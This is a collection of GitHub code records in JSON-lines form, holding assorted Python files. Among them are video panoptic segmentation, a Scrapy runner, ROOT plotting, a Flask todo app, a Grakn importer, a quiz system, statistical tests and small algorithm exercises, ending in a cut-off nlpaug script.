= _mask_ & (panoptic_seg[frame_idx] > 0)\n intersect_area = intersect.sum().item()\n if mask_area==0 or intersect_area * 1.0 / mask_area > overlap_threshold:\n count+=1 \n continue\n if intersect_area > 0:\n _mask_ = _mask_ & (panoptic_seg[frame_idx] == 0)\n if count == len(panoptic_seg):\n continue\n\n current_segment_id += 1\n panoptic_seg[_mask] = current_segment_id\n segments_info.append(\n {\n \"id\": current_segment_id,\n \"isthing\": True,\n \"score\": _score.item(),\n \"category_id\": thing_cont_to_ids_dic[_cate.item()],\n \"instance_id\": _idx,\n })\n cat_id_ = thing_cont_to_ids_dic[_cate.item()]\n if (cat_id_,True) not in dic_tmp:\n dic_tmp[(cat_id_,True)] = []\n dic_tmp[(cat_id_,True)].append((current_segment_id,id_emb))\n else:\n if (current_segment_id,id_emb) not in dic_tmp[(cat_id_,True)]:\n dic_tmp[(cat_id_,True)].append((current_segment_id,id_emb))\n\n stuff_labels = torch.unique(stuff_results)\n #print(stuff_labels)\n #exit()\n for stuff_label in stuff_labels:\n if stuff_label == 0: # 0 is a special \"thing\" class\n continue\n mask = (stuff_results == stuff_label) & (panoptic_seg == 0)\n mask_area = mask.sum()\n if mask_area < stuff_area_limit:\n continue\n current_segment_id += 1\n panoptic_seg[mask] = current_segment_id\n segments_info.append(\n {\n \"id\": current_segment_id,\n \"isthing\": False,\n \"category_id\": stuff_cont_to_ids_dic[stuff_label.item()],\n \"area\": mask_area.item(),\n })\n cat_id_ = stuff_cont_to_ids_dic[stuff_label.item()]\n if (cat_id_,False) not in dic_tmp:\n dic_tmp[(cat_id_,False)] = []\n dic_tmp[(cat_id_,False)].append(current_segment_id)\n else:\n if current_segment_id not in dic_tmp[(cat_id_,False)]:\n dic_tmp[(cat_id_,False)].append(current_segment_id)\n\n \n dic_cat_idemb = {}\n for tmp_, curr_seg_id_list in dic_tmp.items():\n cat_id_,isthing = tmp_\n if isthing:\n dic_cat_idemb[cat_id_] =[]\n for ii,(cur_seg_id,id_emb_) in enumerate(curr_seg_id_list):\n new_id = cat_id_*self.meta.label_divisor+ii\n panoptic_seg_mask[panoptic_seg==cur_seg_id] = new_id\n dic_cat_idemb[cat_id_].append(F.normalize(id_emb_,p=2,dim=0))\n else:\n for cur_seg_id in curr_seg_id_list:\n panoptic_seg_mask[panoptic_seg==cur_seg_id] = cat_id_\n \n \n\n \n return panoptic_seg, segments_info, panoptic_seg_mask,dic_cat_idemb\n\n \n","repo_name":"VIPSeg-Dataset/VIPSeg-Dataset","sub_path":"ClipPanoFCN/panopticfcn/video_panoptic_seg.py","file_name":"video_panoptic_seg.py","file_ext":"py","file_size_in_byte":37531,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"61"} +{"seq_id":"33233902493","text":"def r_bin_search(l, r, check, check_params):\n while l < r:\n m = (l + r + 1) // 2\n # print(f'm: {m}, l: {l}, r: {r}')\n if check(m, check_params):\n l = m\n else:\n r = m - 1\n return l\n\n\ndef check_width(width, params):\n n, m, t = params\n return t >= (2 * m * width) + (2 * (n - 2 * width) * width)\n\n\nn = int(input())\nm = int(input())\nt = int(input())\nprint(r_bin_search(0, min(n, m)//2, check_width, (n, m, t)))\n","repo_name":"IlyasDevelopment/Yandex-Algorithm-Training","sub_path":"Homework_6/G_area/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13996851693","text":"from living_search.spiders.bilibili import *\nfrom living_search.dbHelper import *\nfrom scrapy.crawler import CrawlerRunner,reactor\nfrom scrapy.settings import Settings\n\n# db = DBHelper()\n# sql = \"select a.sample_topicsID as topics_id,a.sample_keyword as word,a.t_rule_id as rule_id from sample_keywords a order by sample_topicsID desc\"\n# params = ()\n# data = db.find(sql, *params)\nsettings = Settings()\n# crawl settings\nsettings.set(\"USER_AGENT\", \"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36\")\nsettings.set(\"ITEM_PIPELINES\" , {\n 'living_search.pipelines.DatabasePipeline': 300,\n})\ndata = [(0,'柯南',0),(1,'银魂',1)]\nrunner = CrawlerRunner(settings)\nd = runner.crawl(BilibiliSpider,wordlist=data)\nd.addBoth(lambda _: reactor.stop())\nreactor.run() # the script will block here until the crawling is finished","repo_name":"Makwen1995/living_search","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39417674556","text":"import sys\nimport os\nimport ROOT as R\n\nsource = sys.argv[1]\noutput = sys.argv[2]\n\nT=R.TChain(\"T\")\nT.Add(source) ## Source Root File\n\nh=[]\nc=[]\n\n\nc1=R.TCut(\"hit.det==32\")\nc2=R.TCut(\"hit.trid==1||hit.trid==2\")\nc3=R.TCut(\"hit.r>=885 && hit.r<990\")\nc4=R.TCut(\"(hit.det>50000&&hit.det<50100)&& (hit.det>51000 && hit.det<51100)&& (hit.det>52000 &&hit.det<52100)\")\n\n\nw=R.TCut(\"rate/(1e9*70)\") ## Weight with respect to rate and current GHz/uA\n\n\n\nh.append(R.TH1F(\"h1\", \"h1\", 140,600,1200))\nh.append(R.TH1F(\"h2\", \"h2\", 140,600,1200))\n\nc.append(R.TCanvas(\"c1\",\"c1\",800,600))\nc.append(R.TCanvas(\"c2\",\"c2\", 800,600))\n\nc[0].cd()\nT.Draw(\"hit.r>>h1\", c1*c2*c3*w)\nc[1].cd()\nT.Draw(\"hit.r>>h2\", c2*c4*w)\n\n\nc[0].Print(output+\"1.png\")\nc[1].Print(output+\"2.png\")\n","repo_name":"rahmans1/backgroundAnalysis","sub_path":"draw/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4128312250","text":"import cv2 as cv\r\n\r\n# 查看版本信息\r\nprint(cv.getVersionString())\r\n\r\n# 读取图像\r\nimg = cv.imread(\"maliao.jpg\", cv.IMREAD_COLOR)\r\ncv.imshow(\"read_img\", img)\r\n# 灰度图像\r\nimg_gray = cv.cvtColor(img, cv.COLOR_RGB2GRAY)\r\ncv.imshow(\"gray_img\",img_gray)\r\n# 二值图像\r\nret, binary = cv.threshold(img_gray, 127, 255, cv.THRESH_BINARY)\r\ncv.imshow(\"binary_img\", binary)\r\n\r\ncv.waitKey()","repo_name":"meteor1993/python-learning","sub_path":"python-opencv/blog1-start/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"61"} +{"seq_id":"16519334698","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n'''\nAuthor: Wanglj\nCreate Time : 20151219\nLast Modified: \n获取树的最大深度\n'''\n\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n site = 0\n for i in nums:\n if i:\n nums[site] = i\n site += 1\n if site < len(nums):\n nums[site:] = [0] * (len(nums) - site)\n\nnums = [0, 1, 0, 3, 12]\nso = Solution()\nso.moveZeroes(nums)","repo_name":"wanglinjie/coding","sub_path":"leetcode/move_zeros.py","file_name":"move_zeros.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71819514114","text":"def check_if_binary(string):\n\tfor element in string:\n\t\tif element != \"0\" and element != \"1\":\n\t\t\treturn False\n\treturn True\n\ndef count_binary_holes(binary_string):\n\tnumber_of_holes = 0\n\tstate = 0\n\tfor bit in binary_string:\n\t\tif state == 0 and bit == \"1\":\n\t\t\tstate = 1\n\t\telif state == 1 and bit == \"0\":\n\t\t\tstate = 2\n\t\telif state == 2 and bit == \"1\":\n\t\t\tstate = 1\n\t\t\tnumber_of_holes += 1\n\treturn number_of_holes\n\t\t\t\nprint('''Napisz \"exit\", by zamknąć program.''')\nwhile True:\n\treceived_line = input(\"Podaj ciąg binarny.\\n\")\n\tif received_line.lower() == \"exit\":\n\t\tbreak\n\tif check_if_binary(received_line):\n\t\tnumber_of_holes = count_binary_holes(received_line)\n\t\tprint(\"Ilość dziur: \" + str(number_of_holes))\n\telse:\n\t\tprint(\"To nie jest ciąg binarny.\")\n","repo_name":"Githubowy-Juliusz/PSW-Lab1","sub_path":"Zadanie2.py","file_name":"Zadanie2.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20177823336","text":"filename = input(\"Please enter filename to open:\")\ntry:\n fhandle = open(filename,\"r\")\nexcept:\n print(\"Error opening file:\", filename)\n exit()\n\nwords = []\nfor line in fhandle:\n for word in line.split():\n if word not in words:\n words.append(word)\n\nwords.sort()\nprint(words)\n","repo_name":"pvperez1/lis161-x2","sub_path":"exer15.py","file_name":"exer15.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25345703514","text":"#Aplicaciones De IoT\r\n#Balderas Manzano Maria Elisa\r\n#GDS0151, 19 de febrero 2020\r\n#Función que cree solicite 10 valores de una lista y haga la sumatoria de los mismos\r\n#e imprima.\r\ndef sumalista(listaNumeros):\r\n laSuma = 0\r\n for i in listaNumeros:\r\n laSuma = laSuma + i\r\n return laSuma\r\n#Ingrese Numeros a sumar\r\nprint(sumalista([1,1,1,1,1,1,1,1,1,1]))\r\n","repo_name":"Elisa-Manzano/IoT_EjerciciosPython","sub_path":"Sumatoria.py","file_name":"Sumatoria.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17949728747","text":"import sys\nfrom sys import argv\nimport string\nimport crypt\n\n\ndef main(argv):\n\n #check if correct number of arguments\n if len(argv) != 3:\n exit(\"Usage: python crack.py infile outfile error\")\n #put password into variable\n key = argv[1]\n salt = argv[2]\n key_hashed = crypt.crypt(key, salt)\n print(key)\n print(key_hashed)\n\nif __name__ == \"__main__\":\n main(argv)\n","repo_name":"lukasz-lesiuk/cs50","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35649374601","text":"from flask import Flask, render_template, request, url_for\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"postgresql://postgres:viveksray7@postgres:5432/postgres\"\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\nclass Todo(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(100), nullable=False)\n description = db.Column(db.Text, nullable=True)\n\n def __repr__(self) -> str:\n return f\"Todo(title:'{self.title}', description:'{self.description}')\"\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef home():\n if request.method == \"POST\":\n todo_title = request.form[\"todo_title\"]\n todo_description = request.form[\"todo_description\"]\n todo = Todo(title=todo_title, description=todo_description)\n db.session.add(todo)\n db.session.commit()\n return render_template(\"home.djhtml\")\n\n\nif __name__ == \"__main__\":\n app.run(port=5000, host=\"0.0.0.0\")\n","repo_name":"viveksray17/todo-app-nginx","sub_path":"todo-app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37792180058","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\n\"\"\"\nThis files contains the funtion which establishes a connection to the database.\n\"\"\"\n\n# using embedded sqlite database.\nSQLALCHEMY_DATABASE_URL = \"sqlite:///./data.db\"\n\n\nengine = create_engine(\n SQLALCHEMY_DATABASE_URL, connect_args={\"check_same_thread\": False},echo=True\n)\nSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\n\nBase = declarative_base()\n\n\n# Dependency\ndef get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n\ndef get_db_sync():\n db = SessionLocal()\n try:\n return db\n finally:\n db.close()","repo_name":"ar1998/BookAssignment","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2035949613","text":"\"\"\"\n2020-2021 Vacation Project\n@author: Chanon Kachornvuthidej, kac016@csiro.au, chanon.kachorn@gmail.com\n@Supervisors: Dr Alejandro Metke Jimenez, Alejandro.Metke@csiro.au and Dr Hoa Ngo Hoa.Ngo@csiro.au\n\nImport subrbs from JSON file into a knowledge graph on Grakn.\n\"\"\"\nfrom grakn.client import GraknClient\nimport json\n\n# Uncomment and run this if want to remove a keyspace\n# with GraknClient(uri=\"localhost:48555\") as client:\n# with client.session(keyspace=\"locations_with_versioning\") as session:\n# client.keyspaces().delete('locations_with_versioning')\n\n\nlist_of_all_suburbs = set()\n\n# Read only locations in Queensland\nwith open('AustralianNeighbours(Wptools).json') as json_file1:\n data = json.load(json_file1)\n for location in data:\n for direction in data[location]:\n processed = \\\n data[location][direction].replace('[', '').replace(']', '').replace(\"'\", '').replace(\" \", '_').split(\n ',')[\n 0].split('|')\n location_processed = location.split(',')\n if \"Queensland\" in location_processed[1]: # and \"Herston\" in processed: # only get Queensland locations\n list_of_all_suburbs.add(processed[0])\n list_of_all_suburbs.add(location_processed[0])\n\n# Once locations are read from the file, import it into the knowledge graph\nwith open('AustralianNeighbours(Wptools).json') as json_file1:\n with GraknClient(uri=\"localhost:48555\") as client:\n with client.session(keyspace=\"locations_with_versioning\") as session:\n\n count = 0\n for suburb in list_of_all_suburbs:\n # Adding the suburbs to the database, ran once!\n with session.transaction().write() as write_transaction:\n query = 'insert $x isa suburb, has name \"{suburbName}\", has versionNumber 1;'.format(\n suburbName=suburb)\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n # print(\"Inserted a suburb with ID: {0}\".format(concepts[0].id))\n print(\"Inserted a suburb with name\", suburb)\n # to persist changes, write transaction must always be committed\n write_transaction.commit()\n count += 1\n\n print(\"in total there are\", count)\n\n # Add the locations relationship (neighbouring informations)\n count = 0\n data = json.load(json_file1)\n for location in data:\n count += 1\n for direction in data[location]: # extract just the name of the location and ignore other details\n processed = \\\n data[location][direction].replace('[', '').replace(']', '').replace(\"'\", '').replace(\" \",\n '_').split(\n ',')[0].split('|')\n location_processed = location.split(',')\n if \"Queensland\" not in location_processed[\n 1]: # or (\"Herston\" not in processed and \"Herston\" not in location_processed[0]): # only get Queensland locations\n continue\n try:\n with session.transaction().write() as write_transaction: # insert the location relationships into the database\n query = 'match $x isa suburb, has name \"{suburbA}\", has versionNumber 1; $y isa suburb, has name \"{suburbB}\", has versionNumber 1; ' \\\n 'insert $relationship (me: $x, neighbourOfMe: $y) isa neighbour; $relationship has direction \"{direct}\", has versionNumber 1;'.format(\n suburbA=location_processed[0], suburbB=processed[0], direct=direction)\n # input(query)\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n print(\"Inserted a neighbour with ID: {0}\".format(concepts[0].id))\n print(\"added\", location_processed[0], \"with\", processed[0], \"direction\", direction)\n ## to persist changes, write transaction must always be committed\n write_transaction.commit()\n except:\n print(\"ERROR\")\n pass\n\n # The following code is only for demonstration purposes to test out the knowledge graph versioning. Uncomment if only want to see normal Knowledge graph without versioning features\n with session.transaction().write() as write_transaction:\n query = 'insert $x isa version_tracker, has versionNumber 1, has date 2021-01-22;'\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n print(\"Inserted a version_tracker with ID: {0}\".format(concepts[0].id))\n write_transaction.commit()\n\n with session.transaction().write() as write_transaction:\n query = 'insert $x isa version_tracker, has versionNumber 2, has date 2022-01-22;'\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n print(\"Inserted a version_tracker with ID: {0}\".format(concepts[0].id))\n write_transaction.commit()\n\n with session.transaction().write() as write_transaction:\n query = 'match $x isa version_tracker, has versionNumber 1; $y isa version_tracker, has versionNumber 2; ' \\\n 'insert $relationship (current: $x, next: $y) isa version_update;'\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n print(\"added\", \"version 1\", \"with\", \"version 2\")\n write_transaction.commit()\n\n with session.transaction().write() as write_transaction:\n query = 'insert $x isa suburb, has name \"New_Spring_Hill\", has versionNumber 2;'\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n print(\"Inserted a suburb with name\", \"New_Spring_Hill\")\n write_transaction.commit()\n\n with session.transaction().write() as write_transaction:\n query = 'match $x isa suburb, has name \"Herston\", has versionNumber 1; $y isa suburb, has name \"New_Spring_Hill\", has versionNumber 2; ' \\\n 'insert $relationship (me: $x, neighbourOfMe: $y) isa neighbour; $relationship has direction \"s\", has versionNumber 2;'\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n print(\"added\", \"New_Spring_Hill\", \"with\", \"Herston\", \"direction\", \"s\")\n write_transaction.commit()\n\n with session.transaction().write() as write_transaction:\n query = 'match $x isa suburb, has name \"Spring_Hill\", has versionNumber 1; $y isa suburb, has name \"New_Spring_Hill\", has versionNumber 2; ' \\\n 'insert $relationship (old: $x, new: $y) isa suburb_update;'\n insert_iterator = write_transaction.query(query).get()\n concepts = [ans.get(\"x\") for ans in insert_iterator]\n print(\"added\", \"New_Spring_Hill\", \"with\", \"Spring_Hill\")\n write_transaction.commit()\n\n# Queries to run on Grakn graph\n\n# # show entity with attributes link\n# # match $x isa suburb; $x has attribute $a; get;\n\n# # show relationship with attribute direction\n# # match $emp (me: $x, neighbourOfMe: $y) isa neighbour; $x has attribute $m; $y has attribute $p; $emp has attribute $b; get; offset 0; limit 2;\n# match $relationship (me: $x, neighbourOfMe: $y) isa neighbour; $x has attribute $name1; $y has attribute $name2; $relationship has attribute $direction; get; offset 0; limit 10;\n\n# # Show specific suburb with all it's neighbours\n# # match $emp (me: $x, neighbourOfMe: $y) isa neighbour; $x has name \"Herston\"; $x has attribute $t; $x has attribute $q; $y has attribute $f; $y has attribute $o; $emp has attribute $k; $emp has attribute $b; get; offset 0; limit 30;\n# # match $emp (me: $x, neighbourOfMe: $y) isa neighbour; $x has name \"Herston\"; $x has attribute $t; $y has attribute $f; $emp has attribute $k; get; offset 0; limit 30;\n\n\n# Queries including the version control features - still in development\n# Show version control entity - still in development\n# # match $emp (current: $x, next: $y) isa version_update; $x has attribute $t; $y has attribute $f; get; offset 0; limit 30;\n\n# Show suburb updates\n# # match $emp (old: $x, new: $y) isa suburb_update; $x has attribute $t; $y has attribute $f; get; offset 0; limit 30;\n\n# Show all updates\n# match $emp (me: $x, neighbourOfMe: $y) isa neighbour; $x has name \"Herston\"; $x has attribute $t; $y has attribute $f; get; offset 0; limit 30;\n\n# Get direction South most up to date\n# match $emp (me: $x, neighbourOfMe: $y) isa neighbour; $x has name \"Herston\"; $x has attribute $t; $y has attribute $f; $emp has direction \"s\"; $emp has attribute $u; get; offset 0; limit 30;\n","repo_name":"CNK-THA/CSIRO","sub_path":"GraknJsonToKnowledge.py","file_name":"GraknJsonToKnowledge.py","file_ext":"py","file_size_in_byte":9598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28440432777","text":"import models\nimport random\nimport csv\n\n# This class contains methods to create and manage Quiz.\nclass Quiz:\n def __init__(self, quiz_id=None, num_of_questions=None, marks=None):\n self.id = quiz_id\n self.num_of_questions = num_of_questions\n self.marks = marks\n\n def formulate(self):\n \"\"\"Fetches the questions from database and creates a quiz made up of specified number of questions \"\"\"\n all_questions = models.get_all_questions()\n\n # Filter the questions dictionary for the requested marks\n filtered_dict = {k: v for (\n k, v) in all_questions['questions'].items() if self.marks == v['marks']}\n\n # If the number of questions in DB are less than requested number of questions, retrive whatever is in DB\n num_questions = len(filtered_dict) if len(\n filtered_dict) < self.num_of_questions else self.num_of_questions\n\n # Pick random questions as per the requested number of questions.\n random_entry = random.choices(list(filtered_dict.items()), k = num_questions)\n\n quiz_paper = ' '.join(tuple(str(i[0]) for i in random_entry))\n answer_keys = ' '.join(\n tuple(str(i[1].get('key', None)) for i in random_entry))\n\n # insert a new record in quiz table\n response = models.insert_quiz(\n self.id, quiz_paper, answer_keys, num_questions, self.marks)\n return response\n\n def sort_questions_by_marks(self):\n all_questions = models.get_all_questions()\n sorted_dict = {k: v for k, v in sorted(\n all_questions['questions'].items(), key=lambda item: item[1].get('marks'))}\n for item in sorted_dict.items():\n print(item)\n\n def import_data(self, filename):\n with open(filename, 'r') as fin:\n dr = csv.DictReader(fin)\n to_db = [models.insert_question(i['question'], i['choice1'], i['choice2'],\n i['choice3'], i['choice4'], i['key'], i['marks'], i['remarks']) for i in dr]\n\n def render(self, quiz_id, user_id, answerkeys):\n \"\"\"Evaluate the entered answer keys, calculate the score and create a record in the test_instance table\"\"\"\n result = []\n score = 0\n # Get the actual answer keys from quiz table\n quiz_details = models.get_quiz(quiz_id)\n\n # compare actual keys with the test answer keys\n actual_answer_keys = quiz_details['quiz'][2].split()\n\n if len(actual_answer_keys) < len(answerkeys):\n return {\"message\": \"answerkeys size more than number of questions asked in quiz \"}\n\n # Calculate the score and the result.\n for i in range(len(actual_answer_keys)):\n if i < len(answerkeys):\n if answerkeys[i] == int(actual_answer_keys[i]):\n score = score + self.marks\n result.append(self.marks)\n else:\n result.append(0)\n else:\n result.append(0)\n\n answer_keys = ' '.join(tuple(str(i) for i in answerkeys))\n # insert a new record in the test_instance table\n response = models.insert_test_instance(\n quiz_id, user_id, answer_keys, score, result)\n\n return response\n\n# # one time use. Uncomment and run below lines and comment after use.\n# ob = Quiz(30001, 2, 2)\n# # Create Quiz based on given number of questions and marks\n# ob.formulate()\n\n# # Load Questions from csv file into Database\n# ob.import_data('quiz_data.csv')\n\n\n# ob1 = Quiz(30002, 6, 2)\n# ob1.formulate()\n# ob2 = Quiz(30003, 5, 2)\n# ob2.formulate()\n# ob3 = Quiz(30004, 2, 1)\n# ob3.formulate()\n# ob7 = Quiz(30006, 10, 1)\n# ob7.formulate()\n# ob7 = Quiz(30007, 10, 2)\n# ob7.formulate()\n\n# ob6 = Quiz(30006, 7, 2)\n# ob6.sort_questions_by_marks()\n","repo_name":"jhansi1/Quiz-Portal-Mini-Project","sub_path":"quiz_creator.py","file_name":"quiz_creator.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6082793616","text":"#!/usr/bin/env python\nfrom string import ascii_lowercase as abcs\n\n\nekey = dict(zip(abcs, reversed(abcs)))\ndkey = {v : k for k, v in ekey.iteritems()}\n\ndef decode(encstr):\n subst = lambda c: dkey[c] if c.isalpha() else c\n return ''.join(map(subst, ''.join(encstr.split())))\n\ndef encode(rawstr):\n subst = lambda c: ekey[c] if c.isalpha() else c\n encstr = ''.join(map(subst, ''.join(c.lower() for c in rawstr if c.isalnum())))\n return ' '.join(encstr[i:i+5] for i in xrange(0, len(encstr), 5))\n","repo_name":"a62mds/exercism","sub_path":"python/atbash-cipher/atbash_cipher.py","file_name":"atbash_cipher.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29972175272","text":"def main():\n pass\n\n\nimport pandas as pd\nfrom scipy.stats import mannwhitneyu\nfrom scipy.stats import kruskal\n\n\ntest = pd.read_csv('FINAL.csv')\n\nm = test[test['gender'] == 0]\nf = test[test['gender'] == 1] \nm_compound = m['compound']\nf_compound = f['compound']\n\n# Mann-Whitney U Test \n# Gender\nresult = mannwhitneyu(f_compound, m_compound, alternative='two-sided')\nU_statistic = result.statistic\nn1 = len(f_compound)\nn2 = len(m_compound)\nU_expected = n1 * n2 / 2\nU_alternate = n1*n2 - U_statistic\nsigma_U = (n1 * n2 * (n1 + n2 + 1) / 12) ** 0.5\nz_statistic = (U_statistic - U_expected) / sigma_U\nr = U_statistic / (n1 * n2)\nprint(f\"U Statistic: {U_statistic}\")\nprint(f\"U Alternate: {U_alternate}\")\nprint(f\"Z Statistic: {z_statistic}\")\nprint(f\"P-Value: {result.pvalue}\")\nprint(f\"Effect size: {r}\")\n\n# Language\nb = test[test['language'] == 1]\ne = test[test['language'] == 0] \nb_compound = b['compound']\ne_compound = e['compound']\n\nresult1 = mannwhitneyu(b_compound, e_compound, alternative='two-sided')\nU_statistic1 = result1.statistic\nn3 = len(b_compound)\nn4 = len(e_compound)\nU_expected1 = n3 * n4 / 2\nU_alternate1 = n3*n4 - U_statistic1\nsigma_U1 = (n3 * n4 * (n3 + n4 + 1) / 12) ** 0.5\nz_statistic1 = (U_statistic1 - U_expected1) / sigma_U1\nr1 = U_statistic1 / (n3 * n4)\nprint(f\"U Statistic: {U_statistic1}\")\nprint(f\"U Alternate: {U_alternate1}\")\nprint(f\"Z Statistic: {z_statistic1}\")\nprint(f\"P-Value: {result1.pvalue}\")\nprint(f\"Effect size: {r1}\")\n\n# Kruskal-Wallis H Test \n# Gender\nh_statistic3, p_value = kruskal(f_compound, m_compound)\nk = 2\nn = len(test)\ne = h_statistic3-k+1\nl = n - k\neffect= e/l\nprint(f\"chi square: {h_statistic3}\")\nprint(f\"P-Value: {p_value}\")\nprint(f\"Effect size: {effect}\")\n\n# Language\nh_statistic4, p_value1 = kruskal(b_compound, e_compound)\nk = 2\nn = len(test)\ne1 = h_statistic4-k+1\nl = n - k\neffect1= e1/l\nprint(f\"chi square: {h_statistic4}\")\nprint(f\"P-Value: {p_value1}\")\nprint(f\"Effect size: {effect1}\")","repo_name":"TAD600/Gender_stereotype_youtube","sub_path":"nonparametric_tests.py","file_name":"nonparametric_tests.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13128581496","text":"#!/usr/bin/env python3\n\nimport copy\nfrom logic import Game\nfrom loadedCards import Card, Problem\nimport strategy as karlik # comment this out or make karlik.py and fill it out with Karliks strategies\nimport participant as p\n\n\ndef example_single_match_ProofS_vs_BasicS():\n game_instance = Game()\n game_instance.add_player(\"Karlik ProofS\", karlik.ProofS())\n game_instance.add_player(\"Karlik BasicS\", karlik.BasicS())\n game_instance.start_game()\n print(\"Number of active problems:\", len(game_instance.get_active_problems()))\n print(\"Game ended:\", game_instance.get_current_scores())\n\n\ndef against_participant(n, karlik_prototype):\n return battle_two_prototypes(p.ParticipantsStrategy(), karlik_prototype, n)[1]\n\n\ndef against_participant_with_print(n, karlik_prototype, print_name):\n answer = against_participant(n, karlik_prototype)\n print(\"Vyhral proti\", print_name, answer, \"z\", n)\n return answer\n\n\ndef single_match_two_prototypes(prototype_a, prototype_b):\n game_instance = Game()\n #game_instance.set_debug_level()\n game_instance.add_player(\"prototype_a\", prototype_a)\n game_instance.add_player(\"prototype_b\", prototype_b)\n game_instance.start_game()\n return dict(game_instance.get_current_scores())\n\n\ndef battle_two_prototypes(prototype_a, prototype_b, n):\n wins = [0, 0]\n for i in range(n):\n try:\n instance_a = copy.deepcopy(prototype_a)\n instance_b = copy.deepcopy(prototype_b)\n if i%2 == 0:\n instance_a, instance_b = instance_b, instance_a\n #print(instance_a, instance_b)\n answer = single_match_two_prototypes(instance_a, instance_b)\n if answer[0] == answer[1]:\n continue\n winner_i = int(answer[0] < answer[1])\n if i%2:\n winner_i = (winner_i + 1)%2\n wins[winner_i] += 1\n except Exception as e:\n print(\"Caught exception. Something in the game failed, possibly your solution:\", e)\n return wins\n\n\nif __name__ == \"__main__\":\n print(\"[~] Informacni testy\")\n against_participant_with_print(5, karlik.ProofS(), \"ProofS\")\n against_participant_with_print(5, karlik.BasicS(), \"BasicS\")\n print(\"[~] Skutecne testy\")\n real_answer = against_participant_with_print(80, karlik.ReasonableStrategy(), \"ReasonableStrategy\")\n\n","repo_name":"dalikkk/NPGame","sub_path":"nphra.py","file_name":"nphra.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43833150783","text":"class JustCounter:\n __secretCount = 0\n publicCount = 0\n\n def count(self):\n self.__secretCount += 1\n self.publicCount += 1\n print(self.__secretCount)\n\n def count2(self):\n print(self.__secretCount)\n\n\ncounter = JustCounter()\ncounter.count()\ncounter.count()\nprint(counter.publicCount)\nprint(counter._JustCounter__secretCount, \">>>\")\ntry:\n counter.count2()\nexcept IOError:\n print(\"Can't call private attribute\")\nelse:\n print(\"Ok\")\n","repo_name":"amazing-2020/pdf","sub_path":"Python/code case/code case 189.py","file_name":"code case 189.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73471468993","text":"################################################################################\n# Imports\n################################################################################\nimport os\nimport re\nimport pandas as pd\nimport numpy as np\nimport argparse\nimport nlpaug.augmenter.sentence as nas\nfrom tqdm import tqdm\n\n\n################################################################################\n# Parameters\n################################################################################\nap = 